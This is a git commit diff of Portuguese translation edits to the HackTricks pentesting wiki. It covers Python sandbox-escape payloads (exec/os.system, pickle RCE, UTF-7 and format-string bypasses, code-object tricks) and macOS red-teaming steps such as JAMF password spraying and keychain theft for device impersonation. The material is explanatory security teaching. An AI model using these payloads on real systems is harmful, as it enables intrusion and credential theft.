mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-27 15:12:11 +00:00
Translated ['README.md', 'generic-methodologies-and-resources/python/byp
This commit is contained in:
parent
94363cacae
commit
ca5242e65b
31 changed files with 259 additions and 259 deletions
12
README.md
12
README.md
|
@ -69,8 +69,8 @@ Acesse hoje:
|
|||
|
||||
Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de bug bounty!
|
||||
|
||||
* **Insights de Hacking:** Engaje-se com conteúdo que mergulha na emoção e nos desafios do hacking
|
||||
* **Notícias de Hack em Tempo Real:** Mantenha-se atualizado com o mundo do hacking em ritmo acelerado através de notícias e insights em tempo real
|
||||
* **Insights de Hacking:** Envolva-se com conteúdo que mergulha na emoção e nos desafios do hacking
|
||||
* **Notícias de Hacking em Tempo Real:** Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real
|
||||
* **Últimos Anúncios:** Fique informado sobre os novos bug bounties lançando e atualizações cruciais da plataforma
|
||||
|
||||
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
|
||||
|
@ -81,7 +81,7 @@ Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSb
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem
|
||||
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
|
||||
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
|
||||
|
@ -113,9 +113,9 @@ Você pode **criar uma conta gratuita** [**aqui**](https://serpapi.com/users/sig
|
|||
|
||||
[**WebSec**](https://websec.nl) é uma empresa profissional de cibersegurança com sede em **Amsterdã** que ajuda a **proteger** empresas **em todo o mundo** contra as mais recentes ameaças de cibersegurança, fornecendo **serviços de segurança ofensiva** com uma abordagem **moderna**.
|
||||
|
||||
WebSec é uma **empresa de segurança tudo-em-um**, o que significa que eles fazem tudo; Pentesting, **Auditorias de Segurança**, Treinamentos de Conscientização, Campanhas de Phishing, Revisão de Código, Desenvolvimento de Exploits, Terceirização de Especialistas em Segurança e muito mais.
|
||||
WebSec é uma **empresa de segurança tudo-em-um**, o que significa que eles fazem tudo; Pentesting, **Auditorias** de Segurança, Treinamentos de Conscientização, Campanhas de Phishing, Revisão de Código, Desenvolvimento de Exploits, Terceirização de Especialistas em Segurança e muito mais.
|
||||
|
||||
Outra coisa legal sobre a WebSec é que, ao contrário da média da indústria, a WebSec é **muito confiante em suas habilidades**, a tal ponto que **garante os melhores resultados de qualidade**, afirmando em seu site "**Se não conseguimos hackear, você não paga!**". Para mais informações, dê uma olhada em seu [**site**](https://websec.nl/en/) e [**blog**](https://websec.nl/blog/)!
|
||||
Outra coisa legal sobre a WebSec é que, ao contrário da média do setor, a WebSec é **muito confiante em suas habilidades**, a tal ponto que **garante os melhores resultados de qualidade**, afirmando em seu site "**Se não conseguimos hackear, você não paga!**". Para mais informações, dê uma olhada em seu [**site**](https://websec.nl/en/) e [**blog**](https://websec.nl/blog/)!
|
||||
|
||||
Além do acima, a WebSec também é um **apoiador comprometido do HackTricks.**
|
||||
|
||||
|
@ -131,7 +131,7 @@ Confira-os em:
|
|||
|
||||
## Estatísticas do Github
|
||||
|
||||
![Estatísticas do Github do HackTricks](https://repobeats.axiom.co/api/embed/68f8746802bcf1c8462e889e6e9302d4384f164b.svg)
|
||||
![Estatísticas do HackTricks no Github](https://repobeats.axiom.co/api/embed/68f8746802bcf1c8462e889e6e9302d4384f164b.svg)
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprenda e pratique Hacking AWS:<img src=".gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src=".gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -17,7 +17,7 @@ Aprenda e pratique Hacking GCP: <img src="../../../.gitbook/assets/grte.png" alt
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem
|
||||
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
|
||||
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
|
||||
|
@ -91,7 +91,7 @@ return (pip.main,(["list"],))
|
|||
|
||||
print(base64.b64encode(pickle.dumps(P(), protocol=0)))
|
||||
```
|
||||
Para mais informações sobre como o pickle funciona, confira isso: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
|
||||
Para mais informações sobre como o pickle funciona, confira isto: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
|
||||
|
||||
### Pacote Pip
|
||||
|
||||
|
@ -113,10 +113,10 @@ Este pacote é chamado `Reverse`. No entanto, ele foi especialmente elaborado pa
|
|||
## Avaliando código python
|
||||
|
||||
{% hint style="warning" %}
|
||||
Note que exec permite strings multilinha e ";", mas eval não permite (ver operador morsa)
|
||||
Note que exec permite strings multilinha e ";", mas eval não permite (ver operador walrus)
|
||||
{% endhint %}
|
||||
|
||||
Se certos caracteres forem proibidos, você pode usar a representação **hex/octal/B64** para **burlar** a restrição:
|
||||
Se certos caracteres forem proibidos, você pode usar a **representação hex/octal/B64** para **burlar** a restrição:
|
||||
```python
|
||||
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
|
||||
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
|
||||
|
@ -162,7 +162,7 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
|
|||
```
|
||||
## Bypassing protections through encodings (UTF-7)
|
||||
|
||||
Em [**este artigo**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) o UFT-7 é usado para carregar e executar código python arbitrário dentro de uma aparente sandbox:
|
||||
Em [**este artigo**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy), o UFT-7 é usado para carregar e executar código python arbitrário dentro de uma aparente sandbox:
|
||||
```python
|
||||
assert b"+AAo-".decode("utf_7") == "\n"
|
||||
|
||||
|
@ -173,7 +173,7 @@ return x
|
|||
#+AAo-print(open("/flag.txt").read())
|
||||
""".lstrip()
|
||||
```
|
||||
É também possível contornar isso usando outras codificações, por exemplo, `raw_unicode_escape` e `unicode_escape`.
|
||||
Também é possível contorná-lo usando outras codificações, por exemplo, `raw_unicode_escape` e `unicode_escape`.
|
||||
|
||||
## Execução do Python sem chamadas
|
||||
|
||||
|
@ -203,7 +203,7 @@ class _:pass
|
|||
```
|
||||
### RCE criando objetos e sobrecarga
|
||||
|
||||
Se você pode **declarar uma classe** e **criar um objeto** dessa classe, você poderia **escrever/sobrescrever diferentes métodos** que podem ser **ativados** **sem** **precisar chamá-los diretamente**.
|
||||
Se você puder **declarar uma classe** e **criar um objeto** dessa classe, você poderá **escrever/sobrescrever diferentes métodos** que podem ser **ativados** **sem** **precisar chamá-los diretamente**.
|
||||
|
||||
#### RCE com classes personalizadas
|
||||
|
||||
|
@ -340,7 +340,7 @@ __builtins__.__dict__['__import__']("os").system("ls")
|
|||
### Sem Builtins
|
||||
|
||||
Quando você não tem `__builtins__`, você não conseguirá importar nada nem mesmo ler ou escrever arquivos, pois **todas as funções globais** (como `open`, `import`, `print`...) **não estão carregadas**.\
|
||||
No entanto, **por padrão, o python importa muitos módulos na memória**. Esses módulos podem parecer benignos, mas alguns deles **também estão importando funcionalidades perigosas** dentro deles que podem ser acessadas para obter até mesmo **execução de código arbitrário**.
|
||||
No entanto, **por padrão, o python importa muitos módulos na memória**. Esses módulos podem parecer benignos, mas alguns deles **também importam funcionalidades perigosas** dentro deles que podem ser acessadas para obter até mesmo **execução de código arbitrário**.
|
||||
|
||||
Nos exemplos a seguir, você pode observar como **abusar** de alguns desses módulos "**benignos**" carregados para **acessar** **funcionalidades** **perigosas** dentro deles.
|
||||
|
||||
|
@ -434,7 +434,7 @@ Aqui quero explicar como descobrir facilmente **funcionalidades mais perigosas c
|
|||
|
||||
#### Acessando subclasses com bypasses
|
||||
|
||||
Uma das partes mais sensíveis desta técnica é ser capaz de **acessar as subclasses base**. Nos exemplos anteriores, isso foi feito usando `''.__class__.__base__.__subclasses__()` mas há **outras maneiras possíveis**:
|
||||
Uma das partes mais sensíveis desta técnica é ser capaz de **acessar as subclasses base**. Nos exemplos anteriores, isso foi feito usando `''.__class__.__base__.__subclasses__()`, mas há **outras maneiras possíveis**:
|
||||
```python
|
||||
#You can access the base from mostly anywhere (in regular conditions)
|
||||
"".__class__.__base__.__subclasses__()
|
||||
|
@ -464,7 +464,7 @@ defined_func.__class__.__base__.__subclasses__()
|
|||
```
|
||||
### Encontrando bibliotecas perigosas carregadas
|
||||
|
||||
Por exemplo, sabendo que com a biblioteca **`sys`** é possível **importar bibliotecas arbitrárias**, você pode procurar por todos os **módulos carregados que importaram sys dentro deles**:
|
||||
Por exemplo, sabendo que com a biblioteca **`sys`** é possível **importar bibliotecas arbitrárias**, você pode procurar por todos os **módulos carregados que tenham importado sys dentro deles**:
|
||||
```python
|
||||
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
|
||||
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
|
||||
|
@ -728,7 +728,7 @@ return 'HAL 9000'
|
|||
'{:open-the-pod-bay-doors}'.format(HAL9000())
|
||||
#I'm afraid I can't do that.
|
||||
```
|
||||
**Mais exemplos** sobre **exemplos** de **string** de **formato** podem ser encontrados em [**https://pyformat.info/**](https://pyformat.info)
|
||||
**Mais exemplos** sobre **exemplos** de **string** **format** podem ser encontrados em [**https://pyformat.info/**](https://pyformat.info)
|
||||
|
||||
{% hint style="danger" %}
|
||||
Verifique também a seguinte página para gadgets que irão r**evelar informações sensíveis de objetos internos do Python**:
|
||||
|
@ -754,7 +754,7 @@ secret_variable = "clueless"
|
|||
x = new_user.User(username='{i.find.__globals__[so].mapperlib.sys.modules[__main__].secret_variable}',password='lol')
|
||||
str(x) # Out: clueless
|
||||
```
|
||||
### De formato a RCE carregando bibliotecas
|
||||
### De formato para RCE carregando bibliotecas
|
||||
|
||||
De acordo com o [**desafio TypeMonkey deste relatório**](https://corgi.rip/posts/buckeye-writeups/), é possível carregar bibliotecas arbitrárias do disco abusando da vulnerabilidade de string de formato em python.
|
||||
|
||||
|
@ -763,7 +763,7 @@ Como lembrete, toda vez que uma ação é realizada em python, alguma função
|
|||
Você pode encontrar mais como isso na seção [**Execução de Python sem chamadas**](./#python-execution-without-calls).
|
||||
|
||||
Uma vulnerabilidade de string de formato em python não permite executar funções (não permite o uso de parênteses), então não é possível obter RCE como `'{0.system("/bin/sh")}'.format(os)`.\
|
||||
No entanto, é possível usar `[]`. Portanto, se uma biblioteca python comum tiver um método **`__getitem__`** ou **`__getattr__`** que executa código arbitrário, é possível abusar deles para obter RCE.
|
||||
No entanto, é possível usar `[]`. Portanto, se uma biblioteca python comum tiver um método **`__getitem__`** ou **`__getattr__`** que execute código arbitrário, é possível abusar deles para obter RCE.
|
||||
|
||||
Procurando por um gadget assim em python, o relatório sugere esta [**consulta de busca no Github**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28\_\_getitem\_\_%7C\_\_getattr\_\_%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F\&type=code). Onde ele encontrou este [aqui](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/\_\_init\_\_.py#L463):
|
||||
```python
|
||||
|
@ -946,8 +946,8 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
|
|||
```
|
||||
## Compilando Python
|
||||
|
||||
Agora, vamos imaginar que de alguma forma você pode **extrair as informações sobre uma função que você não pode executar**, mas você **precisa** **executá-la**.\
|
||||
Como no exemplo a seguir, você **pode acessar o objeto de código** dessa função, mas apenas lendo a desassemblagem você **não sabe como calcular a flag** (_imagine uma função `calc_flag` mais complexa_)
|
||||
Agora, vamos imaginar que de alguma forma você pode **extrair as informações sobre uma função que não pode executar** mas você **precisa** **executá-la**.\
|
||||
Como no exemplo a seguir, você **pode acessar o objeto de código** dessa função, mas apenas lendo o desmonte você **não sabe como calcular a flag** (_imagine uma função `calc_flag` mais complexa_)
|
||||
```python
|
||||
def get_flag(some_input):
|
||||
var1=1
|
||||
|
@ -982,7 +982,7 @@ mydict['__builtins__'] = __builtins__
|
|||
function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Dependendo da versão do python, os **parâmetros** de `code_type` podem ter uma **ordem diferente**. A melhor maneira de saber a ordem dos parâmetros na versão do python que você está executando é rodar:
|
||||
Dependendo da versão do python, os **parâmetros** de `code_type` podem ter uma **ordem diferente**. A melhor maneira de saber a ordem dos parâmetros na versão do python que você está executando é executar:
|
||||
```
|
||||
import types
|
||||
types.CodeType.__doc__
|
||||
|
@ -1007,7 +1007,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
|
|||
```
|
||||
### Bypass Defenses
|
||||
|
||||
Nos exemplos anteriores no início deste post, você pode ver **como executar qualquer código python usando a função `compile`**. Isso é interessante porque você pode **executar scripts inteiros** com loops e tudo em uma **linha única** (e poderíamos fazer o mesmo usando **`exec`**).\
|
||||
Em exemplos anteriores no início deste post, você pode ver **como executar qualquer código python usando a função `compile`**. Isso é interessante porque você pode **executar scripts inteiros** com loops e tudo em uma **linha única** (e poderíamos fazer o mesmo usando **`exec`**).\
|
||||
De qualquer forma, às vezes pode ser útil **criar** um **objeto compilado** em uma máquina local e executá-lo na **máquina CTF** (por exemplo, porque não temos a função `compiled` no CTF).
|
||||
|
||||
Por exemplo, vamos compilar e executar manualmente uma função que lê _./poc.py_:
|
||||
|
@ -1037,7 +1037,7 @@ mydict['__builtins__'] = __builtins__
|
|||
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
|
||||
function_type(codeobj, mydict, None, None, None)()
|
||||
```
|
||||
Se você não consegue acessar `eval` ou `exec`, você pode criar uma **função adequada**, mas chamá-la diretamente geralmente falhará com: _construtor não acessível em modo restrito_. Portanto, você precisa de uma **função que não esteja no ambiente restrito para chamar essa função.**
|
||||
Se você não pode acessar `eval` ou `exec`, você poderia criar uma **função adequada**, mas chamá-la diretamente geralmente falhará com: _construtor não acessível em modo restrito_. Portanto, você precisa de uma **função que não esteja no ambiente restrito para chamar essa função.**
|
||||
```python
|
||||
#Compile a regular print
|
||||
ftype = type(lambda: None)
|
||||
|
@ -1082,7 +1082,7 @@ will be bypassed
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem
|
||||
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
|
||||
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
|
||||
|
@ -1098,7 +1098,7 @@ Aprenda e pratique Hacking GCP: <img src="../../../.gitbook/assets/grte.png" alt
|
|||
|
||||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,7 +17,7 @@ Aprenda e pratique Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt=""
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem
|
||||
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
|
||||
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas 20+ ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
|
||||
|
@ -36,11 +36,11 @@ Para red teaming em ambientes MacOS, é altamente recomendável ter algum entend
|
|||
[macos-mdm](macos-mdm/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Usando MDM como um C2
|
||||
### Usando MDM como C2
|
||||
|
||||
Um MDM terá permissão para instalar, consultar ou remover perfis, instalar aplicativos, criar contas de administrador locais, definir senha de firmware, mudar a chave do FileVault...
|
||||
|
||||
Para executar seu próprio MDM, você precisa de **seu CSR assinado por um fornecedor** que você poderia tentar obter com [**https://mdmcert.download/**](https://mdmcert.download/). E para executar seu próprio MDM para dispositivos Apple, você poderia usar [**MicroMDM**](https://github.com/micromdm/micromdm).
|
||||
Para executar seu próprio MDM, você precisa de **seu CSR assinado por um fornecedor**, que você pode tentar obter em [**https://mdmcert.download/**](https://mdmcert.download/). E para executar seu próprio MDM para dispositivos Apple, você pode usar [**MicroMDM**](https://github.com/micromdm/micromdm).
|
||||
|
||||
No entanto, para instalar um aplicativo em um dispositivo inscrito, você ainda precisa que ele seja assinado por uma conta de desenvolvedor... no entanto, após a inscrição no MDM, o **dispositivo adiciona o certificado SSL do MDM como uma CA confiável**, então você pode agora assinar qualquer coisa.
|
||||
|
||||
|
@ -54,11 +54,11 @@ O JAMF pode executar **scripts personalizados** (scripts desenvolvidos pelo sysa
|
|||
|
||||
#### Auto-inscrição do JAMF
|
||||
|
||||
Vá para uma página como `https://<nome-da-empresa>.jamfcloud.com/enroll/` para ver se eles têm **auto-inscrição habilitada**. Se tiver, pode **pedir credenciais para acessar**.
|
||||
Acesse uma página como `https://<nome-da-empresa>.jamfcloud.com/enroll/` para ver se eles têm **auto-inscrição habilitada**. Se tiver, pode **pedir credenciais para acessar**.
|
||||
|
||||
Você poderia usar o script [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) para realizar um ataque de password spraying.
|
||||
Você pode usar o script [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) para realizar um ataque de password spraying.
|
||||
|
||||
Além disso, após encontrar credenciais adequadas, você poderia ser capaz de forçar outros nomes de usuário com o próximo formulário:
|
||||
Além disso, após encontrar credenciais adequadas, você pode ser capaz de forçar outros nomes de usuário com o próximo formulário:
|
||||
|
||||
![](<../../.gitbook/assets/image (107).png>)
|
||||
|
||||
|
@ -107,7 +107,7 @@ Para **impersonar a comunicação** entre um dispositivo e o JMF, você precisa:
|
|||
* O **UUID** do dispositivo: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
|
||||
* O **keychain do JAMF** de: `/Library/Application\ Support/Jamf/JAMF.keychain`, que contém o certificado do dispositivo
|
||||
|
||||
Com essas informações, **crie uma VM** com o **UUID** de Hardware **roubado** e com **SIP desativado**, coloque o **keychain do JAMF,** **hook** o **agente** Jamf e roube suas informações.
|
||||
Com essas informações, **crie uma VM** com o **UUID** de Hardware **roubado** e com o **SIP desativado**, coloque o **keychain do JAMF,** **hook** o **agente** Jamf e roube suas informações.
|
||||
|
||||
#### Roubo de segredos
|
||||
|
||||
|
@ -161,7 +161,7 @@ echo show com.apple.opendirectoryd.ActiveDirectory | scutil
|
|||
|
||||
Os três tipos de usuários do MacOS são:
|
||||
|
||||
* **Usuários Locais** — Gerenciados pelo serviço OpenDirectory local, não estão conectados de nenhuma forma ao Active Directory.
|
||||
* **Usuários Locais** — Gerenciados pelo serviço local OpenDirectory, não estão conectados de nenhuma forma ao Active Directory.
|
||||
* **Usuários de Rede** — Usuários voláteis do Active Directory que requerem uma conexão com o servidor DC para autenticar.
|
||||
* **Usuários Móveis** — Usuários do Active Directory com um backup local para suas credenciais e arquivos.
|
||||
|
||||
|
@ -257,9 +257,9 @@ Quando um arquivo é baixado no Safari, se for um arquivo "seguro", ele será **
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem
|
||||
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
|
||||
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitam escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
|
|
@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem
|
||||
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
|
||||
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
|
||||
|
@ -27,7 +27,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
**OPC UA**, que significa **Open Platform Communications Unified Access**, é um protocolo de código aberto crucial usado em várias indústrias como Manufatura, Energia, Aeroespacial e Defesa para troca de dados e controle de equipamentos. Ele permite de forma única que equipamentos de diferentes fornecedores se comuniquem, especialmente com PLCs.
|
||||
|
||||
Sua configuração permite medidas de segurança robustas, mas muitas vezes, para compatibilidade com dispositivos mais antigos, essas medidas são reduzidas, expondo os sistemas a riscos. Além disso, encontrar serviços OPC UA pode ser complicado, pois scanners de rede podem não detectá-los se estiverem em portas não padrão.
|
||||
Sua configuração permite medidas de segurança robustas, mas muitas vezes, para compatibilidade com dispositivos mais antigos, essas são reduzidas, expondo os sistemas a riscos. Além disso, encontrar serviços OPC UA pode ser complicado, pois scanners de rede podem não detectá-los se estiverem em portas não padrão.
|
||||
|
||||
**Porta padrão:** 4840
|
||||
```text
|
||||
|
@ -56,7 +56,7 @@ Para ter uma ideia do dispositivo ao qual você tem acesso, leia os valores do n
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem
|
||||
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
|
||||
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
|
||||
|
|
|
@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem
|
||||
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
|
||||
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
|
||||
|
@ -36,7 +36,7 @@ PORT STATE SERVICE
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem
|
||||
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
|
||||
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
|
||||
|
|
|
@ -17,19 +17,19 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Get a hacker's perspective on your web apps, network, and cloud
|
||||
**Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem**
|
||||
|
||||
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
|
||||
**Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios.** Use nossas 20+ ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## Basic information
|
||||
## Informações básicas
|
||||
|
||||
Elasticsearch é um **distribuído**, **código aberto** motor de busca e análise para **todos os tipos de dados**. É conhecido por sua **velocidade**, **escalabilidade** e **APIs REST simples**. Construído sobre o Apache Lucene, foi lançado pela primeira vez em 2010 pela Elasticsearch N.V. (agora conhecida como Elastic). Elasticsearch é o componente central do Elastic Stack, uma coleção de ferramentas de código aberto para ingestão, enriquecimento, armazenamento, análise e visualização de dados. Este stack, comumente referido como ELK Stack, também inclui Logstash e Kibana, e agora possui agentes de envio de dados leves chamados Beats.
|
||||
|
||||
### What is an Elasticsearch index?
|
||||
### O que é um índice Elasticsearch?
|
||||
|
||||
